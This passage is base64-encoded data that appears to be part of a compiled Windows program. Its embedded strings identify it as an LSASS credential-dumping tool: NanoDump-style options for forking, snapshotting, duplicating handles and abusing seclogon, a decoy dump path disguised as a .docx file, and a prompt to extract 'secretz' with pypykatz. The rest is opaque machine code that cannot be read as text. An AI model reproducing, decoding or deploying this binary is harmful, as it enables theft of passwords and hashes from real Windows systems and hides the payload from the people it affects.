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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAAAAAAAAAAAAAAAAAAAA+ABAAQAAAAAAAAAAAAAA//////////8AAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAQAAAAMO////APwAAAQAAAAAAAAAOAAAAAAAAAAAAAAAgcQFAAQAAAAAAAAAAAAAAYO8AQAEAAAAAAAAAAAAAAHDvAEABAAAAAAAAAAAAAACA7wBAAQAAAAAAAAAAAAAAAPAAQAEAAACQ7wBAAQAAAGDwAEABAAAAcPAAQAEAAACA8ABAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbgB0AGQAbABsAC4AZABsAGwAAAAAAAAAAAAAAAAAAABcAD8APwBcAAAAVGhlIHBhdGggJyVscycgaXMgaW52YWxpZC4ACgBDb3VsZCBub3Qgd3JpdGUgdGhlIGR1bXAgJWxzAAAAAABUaGUgbWluaWR1bXAgaGFzIGFuIGludmFsaWQgc2lnbmF0dXJlLCByZXN0b3JlIGl0IHJ1bm5pbmc6CnNjcmlwdHMvcmVzdG9yZV9zaWduYXR1cmUgJXMARG9uZSwgdG8gZ2V0IHRoZSBzZWNyZXR6IHJ1bjoKcHl0aG9uMyAtbSBweXB5a2F0eiBsc2EgbWluaWR1bXAgJXMAXABsAHMAYQBzAHMALgBlAHgAZQAAAAAAAAAAAAAAVGhlIExTQVNTIHByb2Nlc3Mgd2FzIG5vdCBmb3VuZC4gVHJ5IHByb3ZpZGluZyB0aGUgUElEIHdpdGggLXAgb3IgLS1waWQACgAAAAAAAABUaGVyZSBpcyBubyBwcm9jZXNzIHdpdGggdGhlIFBJRCAlbGQuAAAAQ291bGQgbm90IG9wZW4gYSBoYW5kbGUgdG8gJWxkLgBUb28gbWFueSBwcm9jZXNzZXMsIHBsZWFzZSBpbmNyZWFzZSBNQVhfUFJPQ0VTU0VTAFAAcgBvAGMAZQBzAHMAAAAAAAAAAABObyBoYW5kbGUgdG8gdGhlIExTQVNTIHByb2Nlc3Mgd2FzIGZvdW5kAABuAHQAZABsAGwALgBkAGwAbAAAAAAARmFpbGVkIHRvIHJlYWQgTFNBU1MsIHN0YXR1czogU1RBVFVTX0FDQ0VTU19ERU5JRUQACgAAAABGYWlsZWQgdG8gcmVhZCBMU0FTUywgc3RhdHVzOiAweCVseABsAHMAYQBzAHIAdgAuAGQAbABsAAAAAAAAAAAAVGhlIHNlbGVjdGVkIHByb2Nlc3MgaXMgbm90IExTQVNTLgAAAAAAAFMAZQBEAGUAYgB1AGcAUAByAGkAdgBpAGwAZQBnAGUAAABBIHByaXZpbGVnZSBpcyBtaXNzaW5nOiAlbHMACgBBAGQAdgBhAHAAaQAzADIALgBkAGwAbAAAAAAAAAAAAFRvbyBtYW55IGhhbmRsZXMsIHBsZWFzZSBpbmNyZWFzZSBNQVhfSEFORExFUwAKACIAAAAgAC0AdwAgAAAAIAAtAGYAAAAgAC0AcwAAACAALQB2AAAAIAAtAG0AAAAgAC0ALQBzAHQAYQBnAGUAMgAAAAAAAAAAAFRvbyBtYW55IHByb2Nlc3NlcywgcGxlYXNlIGluY3JlYXNlIE1BWF9QUk9DRVNTRVMATWFsU2VjTG9nb24gdGVjaG5pcXVlIGZhaWxlZCEATm8gaGFuZGxlcyBmb3VuZCBpbiBMU0FTUywgaXMgdGhlIFBJRCAlbGQgY29ycmVjdD8uAEEAZAB2AGEAcABpADMAMgAuAGQAbABsAAAATgBhAG4AbwBEAHUAbQBwAFAAdwBkAAAATgBhAG4AbwBEAHUAbQBwAEQAbwBtAGEAaQBuAAAATgBhAG4AbwBEAHUAbQBwAFUAcwBlAHIAAAAAAAAAAAAAAAAAVGhlIGR1bXAgc2l6ZSBleGNlZWRzIHRoZSAzMi1iaXQgYWRkcmVzcyBzcGFjZSEACgAAAAAAAABUaGUgZHVtcCBpcyB0b28gYmlnLCBwbGVhc2UgaW5jcmVhc2UgRFVNUF9NQVhfU0laRS4AbABzAGEAcwByAHYALgBkAGwAbAAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAB0AHMAcABrAGcALgBkAGwAbAAAAHcAZABpAGcAZQBzAHQALgBkAGwAbAAAAGsAZQByAGIAZQByAG8AcwAuAGQAbABsAAAAbABpAHYAZQBzAHMAcAAuAGQAbABsAAAAZABwAGEAcABpAHMAcgB2AC4AZABsAGwAAABrAGQAYwBzAHYAYwAuAGQAbABsAAAAYwByAHkAcAB0AGQAbABsAC4AZABsAGwAAABsAHMAYQBkAGIALgBkAGwAbAAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAbgBjAHIAeQBwAHQALgBkAGwAbAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAGUAdgBlAG4AdABsAG8AZwAuAGQAbABsAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAYwBsAG8AdQBkAGEAcAAuAGQAbABsAAAAAAAAAAAAAAAAAHVzYWdlOiAlcyBbLS1nZXRwaWRdIC0td3JpdGUgQzpcV2luZG93c1xUZW1wXGRvYy5kb2N4IFstLXZhbGlkXSBbLS1mb3JrXSBbLS1zbmFwc2hvdF0gWy0tZHVwXSBbLS1tYWxzZWNsb2dvbl0gWy0tYmluYXJ5IEM6XFdpbmRvd3Ncbm90ZXBhZC5leGVdIFstLWhlbHBdAAoAICAgIC0tZ2V0cGlkACAgICAgICAgICAgIHByaW50IHRoZSBQSUQgb2YgTFNBU1MgYW5kIGxlYXZlAAAAACAgICAtLXdyaXRlIERVTVBfUEFUSCwgLXcgRFVNUF9QQVRIAAAAAAAgICAgICAgICAgICBmaWxlbmFtZSBvZiB0aGUgZHVtcAAgICAgLS12YWxpZCwgLXYAAAAAAAAAACAgICAgICAgICAgIGNyZWF0ZSBhIGR1bXAgd2l0aCBhIHZhbGlkIHNpZ25hdHVyZQAgICAgLS1mb3JrLCAtZgAgICAgICAgICAgICBmb3JrIHRoZSB0YXJnZXQgcHJvY2VzcyBiZWZvcmUgZHVtcGluZwAgICAgLS1zbmFwc2hvdCwgLXMAAAAgICAgICAgICAgICBzbmFwc2hvdCB0aGUgdGFyZ2V0IHByb2Nlc3MgYmVmb3JlIGR1bXBpbmcAICAgIC0tZHVwLCAtZAAAAAAgICAgICAgICAgICBkdXBsaWNhdGUgYW4gZXhpc3RpbmcgTFNBU1MgaGFuZGxlACAgICAtLW1hbHNlY2xvZ29uLCAtbQAAAAAgICAgICAgICAgICBvYnRhaW4gYSBoYW5kbGUgdG8gTFNBU1MgYnkgKGFiKXVzaW5nIHNlY2xvZ29uAAAAAAAAICAgIC0tYmluYXJ5IEJJTl9QQVRILCAtYiBCSU5fUEFUSAAAAAAAACAgICAgICAgICAgIGZ1bGwgcGF0aCB0byB0aGUgZGVjb3kgYmluYXJ5IHVzZWQgd2l0aCAtLWR1cCBhbmQgLS1tYWxzZWNsb2dvbgAgICAgLS1oZWxwLCAtaAAAAAAAACAgICAgICAgICAgIHByaW50IHRoaXMgaGVscCBtZXNzYWdlIGFuZCBsZWF2ZQAtLWdldHBpZAAtdgAtLXZhbGlkAC13AC0td3JpdGUAbWlzc2luZyAtLXdyaXRlIHZhbHVlAC1wAC0tcGlkAG1pc3NpbmcgLS1waWQgdmFsdWUAMDEyMzQ1Njc4OQBJbnZhbGlkIFBJRDogJXMALWYALS1mb3JrAC1zAC0tc25hcHNob3QALWQALS1kdXAALW0ALS1tYWxzZWNsb2dvbgAtczIALS1zdGFnZTIALWIALS1iaW5hcnkAbWlzc2luZyAtLWJpbmFyeSB2YWx1ZQAAAABZb3UgbXVzdCBwcm92aWRlIGEgZnVsbCBwYXRoOiAlcwAAAAAAAAAAVGhlIGJpbmFyeSAiJXMiIGRvZXMgbm90IGV4aXN0cy4ALW